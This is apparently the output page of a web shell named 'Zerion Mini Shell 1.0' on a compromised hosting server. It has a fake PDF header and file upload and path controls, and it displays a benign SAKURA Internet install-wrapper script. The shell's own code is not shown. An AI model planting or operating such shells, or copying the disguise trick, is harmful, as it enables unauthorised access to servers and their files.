%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/bin/
Upload File :
Create Path :
Current File : //usr/local/bin/qinst

#!/bin/sh
#
# Copyright SAKURA Internet Inc.
#
# Generic wrapper for quick install

set -e

export PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin"
export LC_ALL="C"
umask 0072

CMD="$1"
: CMD="${CMD:=nonexistent}"

set -u

test -d ${PWD} || exit 2

UNSET_ENV='^(CONTENT|CONTEXT|DOCUMENT|GATEWAY|HTTP|ORIG|QUERY|REDIRECT|REMOTE|REQUEST|SCRIPT|SERVER|SSH)_'

while read var; do
    key="${var%%=*}"
    if echo "${key}" | egrep -q "${UNSET_ENV}"; then
        eval unset "${key}"
    fi
done <<_EOT_
$(printenv)
_EOT_
unset CWD

if [ -x "/usr/local/libexec/qinst/${CMD}" ]; then
    shift
    exec "/usr/local/libexec/qinst/${CMD}" "$@"
else
    exec "$@"
fi

exit 1

: end of sctipt

Zerion Mini Shell 1.0